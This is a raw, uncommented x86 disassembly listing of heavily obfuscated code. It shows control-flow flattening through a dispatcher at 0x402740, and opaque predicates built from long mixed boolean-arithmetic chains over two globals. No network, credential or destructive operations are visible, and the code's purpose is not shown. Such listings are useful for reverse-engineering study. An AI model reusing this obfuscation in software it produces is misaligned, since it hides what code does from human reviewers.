mov eax, 0xb96042e4
jmp 0x402740
cmp byte [ebp - 0xa7], 0
mov eax, 0x40c7d298
mov ecx, 0x9041b91e
cmovne eax, ecx
jmp 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x42ce2fa8
and edx, 0xbd31d057
or ecx, edx
mov edx, eax
xor edx, 0xfffffffe
mov esi, ecx
xor ecx, 0xbd31d056
and edx, eax
xor esi, 0x42802c20
mov ebx, edx
or ecx, 1
not ebx
and esi, 0x4e81ac62
and edx, 0x4e81ac63
mov edi, ecx
or ecx, ebx
and edi, 0xb17e539c
and ebx, 0xb17e539c
or esi, edi
or edx, ebx
not ecx
xor edx, esi
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
sete ah
setne cl
cmp dword [0x4f6180], 0xa
setge dl
mov ch, dl
xor ch, cl
or cl, dl
or dl, ah
and ch, ah
xor dl, 1
mov eax, ecx
or dl, ch
not al
mov ah, dl
and dl, cl
xor ah, 1
and al, ah
or ah, cl
or al, dl
mov cl, ah
mov edx, 0x29c49f83
xor cl, al
test cl, 1
mov ecx, 0x53078081
cmovne ecx, edx
test ah, ah
mov edx, 0x53078081
cmovne edx, ecx
test al, al
jmp 0x402735
mov eax, dword [ebp - 0x84]
vxorps xmm0, xmm0, xmm0
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0x84]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
vmovsd xmm0, qword [eax + 0xa0]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x18]
mov eax, 0xbf1bcc1c
jmp 0x402740
mov eax, 0x180e12d2
jmp 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x1e33ddf0
and eax, 0xe1cc220f
or ecx, eax
mov eax, ecx
xor ecx, 0xc04c000d
xor eax, 0x1e33ddf0
mov edx, eax
and ecx, 0xc24fd1cd
and eax, 0x3db02e32
and edx, 0xfffffffe
or eax, ecx
xor eax, 0x3db02e33
or eax, edx
mov ecx, eax
xor ecx, 0x27b81983
mov esi, eax
or esi, 0x4800c030
mov edx, eax
not edx
and ecx, eax
and esi, 0x6ba0d8b1
and edx, 0x4180102
mov edi, ecx
not edi
and ecx, 0x945f274e
or edx, esi
or eax, edi
and edi, 0x6ba0d8b1
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xd847e67c
and eax, 0x27b81983
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4c729670
mov edx, ecx
and edx, 0xb38d698f
or eax, edx
xor eax, 0x4c729670
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x4f6180], 0xa
setl dl
mov ecx, edx
or cl, al
xor al, dl
xor cl, 1
mov ah, al
or cl, al
mov edx, ecx
and ah, cl
xor dl, 1
mov ch, dl
or dl, al
xor al, 1
and ch, al
xor al, cl
xor dl, 1
or dl, al
or ch, ah
mov eax, 0x1a57a371
mov cl, dl
xor cl, ch
test dl, 1
mov edx, 0x7e68070b
cmovne eax, edx
test ch, ch
cmove eax, edx
test cl, 1
mov edx, 0x1a57a371
cmove eax, edx
jmp 0x402740
mov eax, dword [ebp - 0x78]
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x9920708a
and eax, 0x44c00101
mov edx, ecx
or edx, 0x1b0e30
and esi, 0x993b7eba
and ecx, 0x22048044
and edx, 0x993b7eba
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xdf0b2cb2
and ecx, 0x20f4d34d
or eax, ecx
mov ecx, eax
xor eax, 0x2815c30
xor ecx, 0xfd14a2c6
mov edx, ecx
and eax, 0x1b95fcf0
and ecx, 0xe46a030f
and edx, 0xfffffffe
or ecx, eax
xor ecx, 0xe46a030e
or ecx, edx
mov eax, ecx
xor eax, 0x521bdf66
mov edx, ecx
and edx, 0x10d260
and eax, ecx
not ecx
and ecx, 0x520b0d06
or edx, ecx
xor edx, 0x10d260
or eax, edx
mov ecx, eax
not ecx
and eax, 0x14d18a6e
and ecx, 0xeb2e7591
or eax, ecx
xor eax, 0x46ca5508
sete al
setne dl
cmp dword [0x4f6180], 0xa
setl ah
setge cl
or al, cl
or ah, dl
or cl, dl
xor ah, 1
xor al, 1
mov ch, cl
or al, ah
xor ch, 1
mov edx, eax
mov ah, al
or al, ch
xor dl, 1
xor al, 1
and ah, cl
and ch, dl
xor dl, cl
or al, dl
or ch, ah
mov edx, 0xbd798282
mov cl, al
xor cl, ch
test al, 1
mov eax, 0x60f6c986
cmovne eax, edx
test ch, ch
cmove eax, edx
test cl, 1
mov edx, 0x60f6c986
cmove eax, edx
jmp 0x402740
mov eax, 0xc6748e98
jmp 0x402740
cmp byte [ebp - 0xa1], 0
mov eax, 0xddce303c
mov ecx, 0x8c6e6557
cmovne eax, ecx
jmp 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x29230240
and eax, 0x96cc39bd
and ecx, 0x4010c402
or edx, ecx
xor edx, 0x29230240
or eax, edx
mov ecx, eax
not ecx
and eax, 0x318a7b13
and ecx, 0xce7584ec
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x18303550
xor esi, 0xa74642ae
xor eax, 0x8981d10
mov ecx, esi
or ecx, 1
and esi, 0x42cfc8ab
and edx, 0xbd303754
and eax, 0xad85f12
or edx, esi
mov esi, ecx
and esi, 0xf527a0ec
or eax, esi
mov esi, edx
xor esi, 0x8101711
xor edx, 0x42cfc8aa
or ecx, edx
and edx, 0xf527a0ec
and esi, 0xad85f13
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0xacb4dd34
mov eax, ecx
not eax
and ecx, 0xa9a61c04
and eax, 0x5659e3fb
or eax, ecx
mov ecx, eax
xor ecx, 0x1a60000
xor eax, 0x441903fa
and ecx, 0x13e6e001
and eax, 0xec191ffe
or eax, ecx
mov ecx, eax
xor ecx, 0xe24000
xor eax, 0x4411070c
and eax, 0x5715a70d
and ecx, 0xa8ea58f2
or ecx, eax
cmp ecx, 0xa8ea58f2
setne al
cmp dword [0x4f6180], 0xa
mov ah, al
setl dl
setge cl
or cl, al
xor al, dl
or ah, dl
not al
xor ah, 1
and al, dl
mov edx, ecx
or al, ah
mov ah, al
and dl, al
xor ah, 1
mov ch, ah
xor ah, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x93b2a502
cmovne ecx, esi
test al, 1
mov eax, 0x93b2a502
jmp 0x414567
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x1a4]
cmp ecx, dword [eax]
mov eax, 0xf18b46bf
setl byte [ebp - 0x9c]
jmp 0x402740
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, 0xa0020e1d
jmp 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0x1e29c584
and edi, 0xe1d63a7a
and edx, 0x115cb00d
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0xeea34ff2
mov ebx, esi
not ebx
and esi, 0xe1d63a7b
or eax, edx
or ecx, ebx
and ebx, 0x1e29c584
or esi, ebx
not ecx
xor esi, edi
mov edi, 0xe138d4c1
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xea3bfd63
mov esi, edx
and esi, 0x15c4029c
or ecx, esi
mov esi, eax
xor esi, 0xea234d62
xor eax, 0x1144000c
and eax, 0x15c4029c
and esi, 0xea3bfd63
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xb228f5c2
setne al
sete cl
cmp dword [0x4f6180], 0xa
setl ah
mov dl, ah
or al, ah
or dl, cl
xor cl, ah
xor dl, 1
or dl, cl
and cl, ah
xor cl, 1
xor dl, 1
mov ah, cl
or cl, al
xor ah, al
xor cl, 1
or cl, ah
mov eax, 0xe138d4c1
xor cl, dl
mov ch, cl
test cl, 1
not ch
cmovne eax, esi
test ch, dl
cmove eax, edi
cmovne eax, esi
test cl, 1
cmovne eax, esi
jmp 0x402740
mov eax, dword [ebp - 0x20]
mov dword [eax], 5
mov eax, 0x4238b97e
jmp 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x7a33727c
and ecx, 0x841024
mov edx, eax
and edx, 0x85cc8d83
or eax, 0x4c426550
or esi, edx
and eax, 0x7c73ef52
mov edx, esi
xor esi, 0x4400500
xor edx, 0x2000008
or ecx, eax
or esi, 0x30318a02
and edx, 0x83080089
and esi, 0x7c73ef52
or edx, esi
xor ecx, edx
mov eax, ecx
not eax
and ecx, 0x29d0cbf0
and eax, 0xd62f340f
or ecx, eax
mov esi, ecx
xor esi, 0xe69aae29
mov edx, ecx
xor ecx, 0x459c5c64
xor edx, 0x196551d6
mov eax, esi
or eax, 0x5cf90db2
mov edi, edx
and ecx, esi
and edi, 0x2104d009
and esi, 0x6f235a02
mov ebx, eax
and ebx, 0x96da23e4
or edi, ebx
mov ebx, ecx
not ebx
and ecx, 0x6925dc1b
or eax, ebx
and ebx, 0x96da23e4
or ecx, ebx
not eax
xor ecx, edi
mov edi, edx
and edi, 0x90dca5fd
and edx, 1
or eax, ecx
or edi, esi
mov ecx, eax
not ecx
and eax, 0x2bbb15f9
xor edi, 0x6f235a03
and ecx, 0xd444ea06
or edx, edi
mov edi, 0x5e219fff
or eax, ecx
mov ecx, eax
xor ecx, 0x80ac2221
xor eax, 0x7742184a
mov esi, eax
and esi, 0x1e51cddc
and ecx, 0xe1ae3223
or eax, edx
or ecx, esi
mov esi, edx
not esi
and edx, 0x1e51cddc
not eax
and esi, 0xe1ae3223
or esi, edx
xor esi, ecx
or eax, esi
mov esi, 0x9a3e5d76
mov ecx, eax
not ecx
and eax, 0x9673c1fa
and ecx, 0x698c3e05
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x77f5e5e8
and ecx, 0x880a1a17
or eax, ecx
mov ecx, eax
xor ecx, 0x1c0152c9
xor eax, 0xe1862412
mov edx, eax
and edx, 0xa37e8d26
and ecx, 0x5c8172d9
or ecx, edx
xor ecx, 0xa37e8d26
xor eax, ecx
test eax, ecx
sete dl
setne ah
cmp dword [0x4f6180], 0xa
setl al
mov ecx, eax
xor ah, al
xor al, dl
or cl, dl
xor ah, 1
xor cl, 1
or cl, ah
xor cl, 1
xor al, cl
mov edx, eax
cmovne esi, edi
not dl
test dl, cl
cmovne esi, edi
test al, al
mov eax, esi
cmovne eax, edi
test dl, cl
cmove eax, esi
jmp 0x402740
mov eax, dword [ebp - 0x20]
mov dword [eax], 7
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xd5b974a4
mov eax, edx
and eax, 0x89fad3d2
and ecx, edx
not edx
and edx, 0x76052c2d
or eax, edx
mov edx, eax
xor eax, 0x54012424
xor edx, 0x1384080
mov esi, eax
or esi, 0x2002811a
and edx, 0x11386484
and esi, 0xe483913a
or edx, esi
mov esi, ecx
not esi
and ecx, 0x1b7c6ec5
or eax, esi
and esi, 0xe483913a
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x2a468b5b
and eax, 0xd5b974a4
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x7c105d9f
not ecx
mov esi, ecx
and edx, eax
and esi, 0x7c105d9f
and eax, 0xde538efe
and ecx, 0x21ac7100
or edx, esi
or ecx, eax
mov esi, edx
not esi
and edx, 0x7c105d9e
xor ecx, 0x21ac7100
and esi, 0x83efa261
or edx, esi
mov esi, 0x19aeb15b
or ecx, edx
mov edx, ecx
xor edx, 0xba6d6e98
mov eax, ecx
and eax, 0x96498
and edx, ecx
not ecx
and ecx, 0xba640a00
or eax, ecx
xor eax, 0x96498
or eax, edx
not edx
and edx, 0x45929167
and eax, 0xba6d6e98
or eax, edx
mov ecx, eax
not ecx
and eax, 0xdd83baee
and ecx, 0x227c4511
or ecx, eax
xor ecx, 0x227c4511
setne cl
sete dl
cmp dword [0x4f6180], 0xa
setl ah
setge al
or ah, cl
mov ecx, eax
or al, dl
xor cl, dl
xor ah, 1
xor al, 1
and cl, dl
or al, ah
xor cl, 1
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0x6b55c60e
cmovne eax, esi
test dl, dl
mov edx, 0x6b55c60e
cmovne eax, edx
test cl, 1
cmove eax, esi
jmp 0x402740
mov eax, dword [ebp - 0x50]
mov esi, 0x36510826
mov eax, dword [eax]
mov dword [ebp - 0x1a4], eax
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xe38a144c
mov eax, ecx
and eax, 0x8080000c
and edx, ecx
not ecx
and ecx, 0x630a1440
or eax, ecx
xor eax, 0x8080000c
or eax, edx
not edx
and edx, 0x1c75ebb3
and eax, 0xe38a144c
or eax, edx
mov ecx, eax
mov edx, eax
not ecx
xor edx, 0xa495e226
and eax, 0xfffffffe
and edx, 0xa495e227
and ecx, 0x5b6a1dd8
or ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x8e4c84f9
and ecx, 0x71b37b06
or ecx, eax
xor ecx, 0x8e4c84f9
setne dl
sete al
cmp dword [0x4f6180], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
or dl, ah
and dh, ch
and cl, al
xor al, ah
and al, ah
mov ah, dl
or cl, dh
xor al, 1
xor cl, 1
xor ah, al
or al, dl
or cl, ch
xor al, 1
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
or dl, al
and ah, cl
mov ecx, 0x7e5eae7b
mov al, dl
xor al, ah
test dl, 1
mov edx, 0x7e5eae7b
cmovne ecx, esi
test ah, 1
cmove ecx, edx
test al, 1
cmovne ecx, esi
mov eax, ecx
jmp 0x402740
mov eax, dword [0x4f6184]
mov esi, 0x81dc0139
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x6394690c
and ecx, 0x9c6b96f3
or edx, ecx
xor edx, 0x6394690c
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe8d404ed
and ecx, 0x172bfb12
or eax, ecx
mov ecx, eax
xor ecx, 0x8000e9
xor eax, 0x622c800
and eax, 0xee76cc04
and ecx, 0x118933fb
or ecx, eax
cmp ecx, 0xee76cc04
setne dl
cmp dword [0x4f6180], 0xa
setge cl
setl al
or cl, dl
xor al, dl
mov edx, 0x69e77516
xor cl, 1
xor al, cl
cmovne edx, esi
test al, cl
mov esi, 0x69e77516
cmovne edx, esi
test al, al
cmovne esi, edx
test al, cl
cmove esi, edx
mov eax, esi
jmp 0x402740
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x43ed5ea3
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0xbc12a15c
and eax, 0x43ed5ea3
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0xb4d0eb67
and eax, 0xcd099294
mov ecx, esi
and esi, 0x4b2f1498
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0x32f66d6b
or eax, esi
mov esi, edx
xor esi, 0x84008204
xor edx, 0x4b2f1499
or ecx, edx
and edx, 0x32f66d6b
and esi, 0xcd099294
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0xb957ca62
mov eax, ecx
not eax
and ecx, 0x865adef9
and eax, 0x79a52106
or eax, ecx
mov ecx, eax
xor ecx, 0x40250006
xor eax, 0x2424a80
and eax, 0x3bc26b80
and ecx, 0xc43d947f
or ecx, eax
xor ecx, 0xc43d947f
sete cl
setne al
cmp dword [0x4f6180], 0xa
setge dl
setl ah
and ah, al
mov al, dl
and al, cl
xor cl, dl
or al, ah
and cl, dl
mov edx, eax
xor cl, 1
xor dl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
xor al, cl
or cl, dl
mov edx, eax
xor dl, cl
not dl
test dl, 1
mov edx, 0x325e9c45
cmovne edx, esi
test al, 1
mov eax, 0x325e9c45
cmovne eax, edx
test cl, 1
cmovne eax, edx
jmp 0x402740
mov ecx, dword [0x4f6184]
mov edi, 0x47823c4a
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x76557320
mov esi, ecx
and esi, 0x89aa8cde
and ecx, 0xdf10c5bd
or esi, edx
mov edx, eax
or edx, 0x76557320
and eax, 0x20ef3a42
and edx, 0x76557321
or eax, ecx
xor edx, esi
xor eax, 0x20ef3a42
mov esi, edx
not esi
and edx, 0x8fbe261f
and esi, 0x7041d9e0
or edx, esi
mov esi, 0x7e5eae7b
xor edx, 0x8fbe261f
or eax, edx
cmp eax, 0xffffffff
sete dl
cmp dword [0x4f6180], 0xa
setge ah
setl cl
mov al, ah
or ah, dl
xor al, dl
not al
and al, dl
xor al, 1
mov ch, al
or al, ah
xor ch, ah
mov ah, cl
xor cl, dl
xor al, 1
or ah, dl
or al, ch
xor ah, 1
or cl, ah
mov edx, ecx
mov ah, cl
not dl
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
mov ah, al
and cl, dl
xor dl, 1
xor ah, dl
and dl, al
and ah, al
or dl, cl
mov ecx, 0x7e5eae7b
mov al, ah
xor al, dl
test dl, 1
cmovne ecx, edi
test ah, 1
cmove ecx, esi
test al, 1
cmovne ecx, edi
mov eax, ecx
jmp 0x402740
mov eax, dword [ebp - 0x34]
mov eax, 0x9c9a931d
jmp 0x402740
mov ecx, dword [0x4f6184]
mov edi, 0x87e19ea
mov esi, 0x41f9cdf1
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x884c9d1e
and edx, 0x77b362e0
or ecx, edx
mov edx, ecx
xor edx, 0xc1404
xor ecx, 0x65114260
and ecx, 0xed51cb7a
and edx, 0x12ae3484
or edx, ecx
mov ecx, eax
or ecx, 0xed51cb7a
and ecx, 0xed51cb7b
xor ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
not ecx
or ecx, edx
xor ecx, 0xffffffff
setne al
sete cl
cmp dword [0x4f6180], 0xa
mov edx, eax
setl ah
setge ch
mov dh, ah
and dl, ch
xor al, ch
and dh, cl
and al, cl
xor cl, ah
or dh, dl
and cl, ah
mov dl, dh
or cl, al
mov eax, 0x41f9cdf1
xor dl, ch
and dl, dh
xor cl, dl
mov ch, cl
cmovne eax, edi
not ch
test ch, dl
cmove eax, esi
test cl, cl
cmovne eax, edi
test ch, dl
cmovne eax, edi
jmp 0x402740
mov eax, dword [ebp - 0x44]
mov eax, 0x1fc2357a
jmp 0x402740
mov eax, 0x7077f1c0
jmp 0x402740
mov eax, 0xff98bfdd
jmp 0x402740
mov eax, 0xb2d2102f
jmp 0x402740
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x9e631a9d
mov eax, edx
and eax, 0x8422000c
and ecx, edx
not edx
and edx, 0x1a411a91
mov esi, ecx
not esi
and ecx, 0xf73664bc
or eax, edx
mov edx, eax
xor edx, 0x8422000c
xor eax, 0x7bddfff3
mov edi, eax
or eax, esi
and esi, 0x8c99b43
and edi, 0x8c99b43
and edx, 0x9622009c
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9e631a9d
and ecx, 0x619ce562
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x300013a
mov esi, ecx
mov edi, ecx
or esi, 0x90493204
and edx, 0x9349333e
and edi, 0x28808880
or ecx, 1
or edi, edx
mov edx, eax
and esi, 0x9349333e
and edx, 0x44364441
and eax, 0x75b8f402
and ecx, 0x8a470bfd
or edx, esi
or ecx, eax
xor edx, edi
xor ecx, 0x8a470bfd
mov esi, edx
not esi
and edx, 0xb8c9ba85
and esi, 0x4736457a
or edx, esi
or ecx, edx
mov edx, ecx
not edx
mov esi, ecx
andn eax, ecx, ecx
and esi, 0xc4f5c981
and edx, 0x3b0a367e
or edx, esi
mov esi, eax
not esi
and eax, 0x3b0a367e
or ecx, esi
and esi, 0xc4f5c981
or eax, esi
not ecx
mov esi, 0x45438e8c
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x36e33958
mov edx, eax
and edx, 0xc91cc6a7
or ecx, edx
xor ecx, 0xc91cc6a7
xor eax, ecx
test eax, ecx
setne cl
cmp dword [0x4f6180], 0xa
mov ah, cl
setl dl
setge al
or al, cl
xor cl, dl
or ah, dl
not cl
xor ah, 1
and cl, dl
mov edx, eax
or cl, ah
not dl
mov ah, cl
and cl, al
xor ah, 1
or al, ah
and ah, dl
mov edx, 0x9d7c3183
or ah, cl
mov cl, ah
xor cl, al
test ah, ah
cmovne edx, esi
test al, al
mov eax, 0x9d7c3183
jmp 0x411538
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
mov eax, 0x62423324
jmp 0x402740
mov eax, dword [ebp - 0xe8]
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x546711a0
and eax, 0xab98ee5f
or ecx, eax
mov eax, ecx
xor eax, 0x221100
xor ecx, 0xa18cc51
and ecx, 0x5e5dccf1
and eax, 0xa1a2330e
or eax, ecx
mov edi, eax
mov esi, eax
xor edi, 0xa1a2330e
xor esi, 0x1aa6dde0
and esi, edi
or edi, 0x44fb1111
mov edx, esi
not edx
and esi, 0x57a1f490
mov ecx, edx
and ecx, 0xa85e0b6f
or edx, edi
and edi, 0xa85e0b6f
or esi, ecx
mov ecx, eax
xor eax, 0x1200c480
not edx
xor ecx, 0x5e5dccf0
and eax, 0x1300e480
and ecx, 0xfffffffe
or eax, edi
xor eax, esi
mov esi, 0xa0020e1d
or edx, eax
mov eax, edx
not eax
and edx, 0xf9be7dd
and eax, 0xf0641822
or edx, eax
xor edx, 0x4b60f6cd
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x1000412
mov edx, eax
and edx, 0xd8142000
and eax, 0x26ebdbed
or ecx, edx
xor ecx, 0x1000412
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xcd1989f0
mov edx, ecx
and edx, 0x32e6760f
or eax, edx
xor eax, 0x32e6760f
xor ecx, eax
test ecx, eax
sete cl
setne ah
cmp dword [0x4f6180], 0xa
setl al
setge dl
mov ch, al
and al, ah
and ah, dl
and ch, cl
and cl, dl
or ch, ah
or al, cl
mov ah, ch
xor ah, dl
mov edx, eax
and ah, ch
xor dl, 1
mov cl, ah
xor cl, 1
and al, cl
or cl, dl
and dl, ah
or dl, al
mov ch, cl
mov eax, 0xd86e15ab
xor ch, dl
test dl, dl
mov edx, 0xd86e15ab
cmovne eax, esi
test cl, cl
cmovne eax, edx
test ch, 1
cmove eax, esi
jmp 0x402740
mov eax, dword [ebp - 0x58]
mov dword [eax], 4
mov eax, 0x3fd8f621
jmp 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x6502b22
mov edx, eax
and edx, 0x50890084
and eax, 0x21b94109
or esi, edx
mov edx, ecx
and edx, 0xa926d459
and ecx, 0xde46bef6
xor esi, 0x6502b22
or eax, ecx
or edx, esi
mov esi, edx
not esi
and edx, 0xbac145cf
and esi, 0x453eba30
or edx, esi
mov esi, edx
xor esi, 0x20184008
xor edx, 0x13e79197
mov edi, edx
and edi, 0xde46bef6
and esi, 0x21b94109
or esi, edi
mov edi, 0x96beb23c
xor eax, esi
mov esi, 0xbe8f9dc0
xor edx, eax
test edx, eax
setne cl
cmp dword [0x4f6180], 0xa
mov eax, ecx
setge dl
or al, dl
xor cl, dl
xor al, 1
xor cl, al
mov edx, ecx
cmovne esi, edi
not dl
test dl, al
cmovne esi, edi
test cl, cl
mov ecx, esi
cmovne ecx, edi
test dl, al
cmove ecx, esi
mov eax, ecx
jmp 0x402740
mov eax, dword [ebp - 0xd4]
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xcb651c4e
mov edx, eax
and edx, 0xcb65004c
and ecx, eax
not eax
and eax, 0x1c02
or edx, eax
xor edx, 0xcb65004c
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x90f291aa
and eax, 0x6f0d6e55
or ecx, eax
mov edx, ecx
mov esi, ecx
xor edx, 0x439209e0
xor esi, 0xa468721b
xor ecx, 0x12840800
mov eax, esi
or eax, 1
and esi, 0x3c05f60c
and edx, 0xc3fa09f3
and ecx, 0x32a46a1a
or edx, esi
mov esi, eax
and esi, 0xcd5b95e4
or ecx, esi
mov esi, edx
xor esi, 0x2a00812
xor edx, 0x3c05f60d
or eax, edx
and edx, 0xcd5b95e4
and esi, 0x32a46a1b
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x11f0020a
and eax, 0xc00b5040
mov edx, ecx
or edx, 0x2004ad05
and esi, 0x31f4af0f
and ecx, 0xe0000b0
and edx, 0x31f4af0f
or ecx, esi
mov esi, 0xe138d4c1
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x2e04adb5
and ecx, 0xd1fb524a
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x376db82b
and ecx, 0xc89247d4
or ecx, eax
mov eax, ecx
xor eax, 0x1765a00a
xor ecx, 0xc0924440
and ecx, 0xe09a5c61
and eax, 0x1f65a39e
or eax, ecx
xor eax, 0x1f65a39e
sete cl
setne ah
cmp dword [0x4f6180], 0xa
mov ch, cl
setl dl
setge al
mov dh, dl
and ch, al
or al, ah
and dh, ah
xor ah, dl
xor dl, cl
xor al, 1
or al, dl
or dh, ch
mov cl, ah
xor al, 1
xor cl, 1
or al, dh
mov edx, eax
and cl, al
or al, ah
xor dl, 1
mov ebx, eax
and dl, ah
or dl, cl
xor bl, dl
test al, 1
mov eax, 0xaa1e5de
cmovne eax, esi
test dl, dl
mov edx, 0xaa1e5de
cmove eax, esi
test bl, 1
cmove eax, edx
jmp 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x8bafd7c6
and eax, 0x74502839
or ecx, eax
mov eax, ecx
xor ecx, 0x24002009
xor eax, 0x8bafd7c6
mov edx, eax
and ecx, 0xa5a5338d
and eax, 0x5a5acc72
and edx, 0xfffffffe
or eax, ecx
xor eax, 0x5a5acc73
or eax, edx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x72f06f2e
mov esi, eax
or esi, 0x8d061090
and ecx, eax
and esi, 0xcf567590
and edx, 0x30a00a2e
or edx, esi
mov esi, ecx
not esi
and ecx, 0x30a98a6f
or eax, esi
and esi, 0xcf567590
or ecx, esi
not eax
mov esi, 0x3be4df53
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x8d0f90d1
and eax, 0x72f06f2e
or eax, ecx
sete dl
setne ah
cmp dword [0x4f6180], 0xa
setl al
setge ch
mov dh, al
and dl, ch
and al, ah
xor dh, ah
or al, dl
mov cl, dh
mov ah, al
xor cl, ch
xor ah, 1
and cl, dh
mov ch, cl
mov dh, cl
xor ch, 1
mov dl, ch
and dl, cl
xor dl, 1
xor dh, dl
or dl, cl
xor dl, 1
or dl, dh
mov dh, dl
and dl, al
or al, cl
xor dh, 1
xor al, 1
and dh, ah
xor ah, ch
or al, ah
or dl, dh
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x41bbbb39
cmovne ecx, esi
test al, al
mov eax, 0x41bbbb39
jmp 0x414567
mov eax, 0xee9e3fd7
jmp 0x402740
mov eax, 0x1dacbb54
jmp 0x402740
cmp byte [ebp - 0xa3], 0
mov eax, 0xddce303c
mov ecx, 0x4073426a
cmovne eax, ecx
jmp 0x402740
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xd8]
mov eax, 0xf69e2173
jmp 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
and eax, 0x2faf8000
mov edi, edx
or edi, 0x4804a056
mov esi, edx
and esi, 0x4804a056
and edx, 0xd0507fff
mov ecx, edi
not ecx
or eax, edx
and edi, 0xb7fb5fa8
or ecx, esi
mov edx, eax
xor edx, 0x2faf8000
xor eax, 0xd0507fff
mov esi, 0xbcce449a
and ecx, 0x4804a057
or ecx, edi
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
setne dl
cmp dword [0x4f6180], 0xa
setl ah
setge al
